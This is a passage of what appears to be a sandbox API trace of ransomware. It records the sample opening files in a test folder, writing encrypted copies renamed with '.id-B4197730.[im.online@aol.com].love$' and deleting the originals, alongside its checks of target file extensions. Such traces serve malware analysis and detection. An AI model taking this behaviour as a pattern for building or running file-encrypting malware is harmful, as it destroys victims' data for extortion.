(lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.913] lstrlenW (lpString=".dbf") returned 4 [0102.913] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.913] lstrlenW (lpString=".1cd") returned 4 [0102.913] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.913] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico") returned 42 [0102.913] lstrlenW (lpString=".jpg") returned 4 [0102.913] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.913] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0102.913] lstrlenW (lpString="Rotate7.ico") returned 11 [0102.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.914] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=894) returned 1 [0102.914] CloseHandle (hObject=0x344) returned 1 [0102.914] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0102.914] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.914] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.914] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.914] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.914] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0102.915] GetLastError () returned 0x0 [0102.915] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x37e, lpOverlapped=0x0) returned 1 [0102.934] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x380, lpOverlapped=0x0) returned 1 [0102.937] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.937] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xea, lpOverlapped=0x0) returned 1 [0102.937] SetEndOfFile (hFile=0x2c8) returned 1 [0102.937] CloseHandle (hObject=0x2c8) returned 1 [0102.940] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.940] SetEndOfFile (hFile=0x344) returned 1 [0102.941] CloseHandle (hObject=0x344) returned 1 [0102.941] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.942] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0102.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.942] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.942] lstrlenW (lpString=".doc") returned 4 [0102.942] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.942] lstrlenW (lpString=".docx") returned 5 [0102.942] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0102.942] lstrlenW (lpString=".pdf") returned 4 [0102.942] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.942] lstrlenW (lpString=".xls") returned 4 [0102.942] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.942] lstrlenW (lpString=".xlsx") returned 5 [0102.942] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0102.942] lstrlenW (lpString=".ppt") returned 4 [0102.942] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.943] lstrlenW (lpString=".zip") returned 4 [0102.943] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.943] lstrlenW (lpString=".rar") returned 4 [0102.943] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.943] lstrlenW (lpString=".bz2") returned 4 [0102.943] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.943] lstrlenW (lpString=".7z") returned 3 [0102.943] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.943] lstrlenW (lpString=".dbf") returned 4 [0102.943] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.943] lstrlenW (lpString=".1cd") returned 4 [0102.943] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.943] lstrlenW (lpString=".jpg") returned 4 [0102.943] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.943] lstrlenW (lpString=".doc") returned 4 [0102.943] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.943] lstrlenW (lpString=".docx") returned 5 [0102.943] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0102.943] lstrlenW (lpString=".pdf") returned 4 [0102.943] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".xls") returned 4 [0102.944] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".xlsx") returned 5 [0102.944] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0102.944] lstrlenW (lpString=".ppt") returned 4 [0102.944] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.944] lstrlenW (lpString=".zip") returned 4 [0102.944] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".rar") returned 4 [0102.944] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".bz2") returned 4 [0102.944] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.944] lstrlenW (lpString=".7z") returned 3 [0102.944] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.944] lstrlenW (lpString=".dbf") returned 4 [0102.944] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.944] lstrlenW (lpString=".1cd") returned 4 [0102.944] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0102.944] lstrlenW (lpString=".jpg") returned 4 [0102.944] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.944] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0102.945] lstrlenW (lpString="Save.ico") returned 8 [0102.945] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.945] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1150) returned 1 [0102.945] CloseHandle (hObject=0x344) returned 1 [0102.945] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0102.945] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.945] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.945] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.945] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0102.946] GetLastError () returned 0x0 [0102.946] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x47e, lpOverlapped=0x0) returned 1 [0102.962] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x480, lpOverlapped=0x0) returned 1 [0102.964] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.964] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0102.964] SetEndOfFile (hFile=0x2c8) returned 1 [0102.964] CloseHandle (hObject=0x2c8) returned 1 [0102.965] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.965] SetEndOfFile (hFile=0x344) returned 1 [0102.966] CloseHandle (hObject=0x344) returned 1 [0102.967] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0102.967] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0102.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.967] lstrlenW (lpString=".doc") returned 4 [0102.967] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.967] lstrlenW (lpString=".docx") returned 5 [0102.967] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0102.967] lstrlenW (lpString=".pdf") returned 4 [0102.968] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.968] lstrlenW (lpString=".xls") returned 4 [0102.968] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.968] lstrlenW (lpString=".xlsx") returned 5 [0102.968] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0102.968] lstrlenW (lpString=".ppt") returned 4 [0102.968] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.968] lstrlenW (lpString=".zip") returned 4 [0102.968] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.968] lstrlenW (lpString=".rar") returned 4 [0102.968] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.968] lstrlenW (lpString=".bz2") returned 4 [0102.968] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.968] lstrlenW (lpString=".7z") returned 3 [0102.968] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.968] lstrlenW (lpString=".dbf") returned 4 [0102.968] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.968] lstrlenW (lpString=".1cd") returned 4 [0102.968] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.968] lstrlenW (lpString=".jpg") returned 4 [0102.968] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.969] lstrlenW (lpString=".doc") returned 4 [0102.969] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.969] lstrlenW (lpString=".docx") returned 5 [0102.969] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0102.969] lstrlenW (lpString=".pdf") returned 4 [0102.969] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.969] lstrlenW (lpString=".xls") returned 4 [0102.969] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.969] lstrlenW (lpString=".xlsx") returned 5 [0102.969] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0102.969] lstrlenW (lpString=".ppt") returned 4 [0102.969] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.969] lstrlenW (lpString=".zip") returned 4 [0102.969] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.969] lstrlenW (lpString=".rar") returned 4 [0102.969] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.969] lstrlenW (lpString=".bz2") returned 4 [0102.969] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.969] lstrlenW (lpString=".7z") returned 3 [0102.969] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.969] lstrlenW (lpString=".dbf") returned 4 [0102.969] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.969] lstrlenW (lpString=".1cd") returned 4 [0102.969] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.969] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0102.969] lstrlenW (lpString=".jpg") returned 4 [0102.970] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.970] lstrcmpiW (lpString1=".ico", lpString2=".love$") returned -1 [0102.970] lstrlenW (lpString="stop.ico") returned 8 [0102.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.970] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10134) returned 1 [0102.970] CloseHandle (hObject=0x344) returned 1 [0102.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0102.970] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0102.970] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0102.971] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.971] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.971] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0103.438] GetLastError () returned 0x0 [0103.438] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x2796, lpOverlapped=0x0) returned 1 [0103.494] WriteFile (in: hFile=0x368, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0103.496] ReadFile (in: hFile=0x344, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.496] WriteFile (in: hFile=0x368, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.496] SetEndOfFile (hFile=0x368) returned 1 [0103.496] CloseHandle (hObject=0x368) returned 1 [0103.497] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.498] SetEndOfFile (hFile=0x344) returned 1 [0103.499] CloseHandle (hObject=0x344) returned 1 [0103.499] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.499] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0103.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.620] lstrlenW (lpString=".doc") returned 4 [0103.621] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.621] lstrlenW (lpString=".docx") returned 5 [0103.621] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.621] lstrlenW (lpString=".pdf") returned 4 [0103.621] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.621] lstrlenW (lpString=".xls") returned 4 [0103.621] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.621] lstrlenW (lpString=".xlsx") returned 5 [0103.621] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.621] lstrlenW (lpString=".ppt") returned 4 [0103.621] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.621] lstrlenW (lpString=".zip") returned 4 [0103.621] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.621] lstrlenW (lpString=".rar") returned 4 [0103.621] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.621] lstrlenW (lpString=".bz2") returned 4 [0103.621] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.621] lstrlenW (lpString=".7z") returned 3 [0103.621] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.621] lstrlenW (lpString=".dbf") returned 4 [0103.621] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.622] lstrlenW (lpString=".1cd") returned 4 [0103.622] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.622] lstrlenW (lpString=".jpg") returned 4 [0103.622] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.622] lstrlenW (lpString=".doc") returned 4 [0103.622] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.622] lstrlenW (lpString=".docx") returned 5 [0103.622] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.622] lstrlenW (lpString=".pdf") returned 4 [0103.622] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.622] lstrlenW (lpString=".xls") returned 4 [0103.622] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.622] lstrlenW (lpString=".xlsx") returned 5 [0103.622] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.622] lstrlenW (lpString=".ppt") returned 4 [0103.622] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.622] lstrlenW (lpString=".zip") returned 4 [0103.623] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.623] lstrlenW (lpString=".rar") returned 4 [0103.623] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.623] lstrlenW (lpString=".bz2") returned 4 [0103.623] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.623] lstrlenW (lpString=".7z") returned 3 [0103.623] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.623] lstrlenW (lpString=".dbf") returned 4 [0103.623] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.623] lstrlenW (lpString=".1cd") returned 4 [0103.623] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.623] lstrlenW (lpString=".jpg") returned 4 [0103.623] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.623] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0103.623] lstrlenW (lpString="netfx_Core_x86.msi") returned 18 [0103.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0103.625] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=1163264) returned 1 [0103.625] CloseHandle (hObject=0x2b8) returned 1 [0103.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi")) returned 0x80 [0103.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0103.626] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.626] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0103.626] GetLastError () returned 0x0 [0103.626] ReadFile (in: hFile=0x2b8, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, 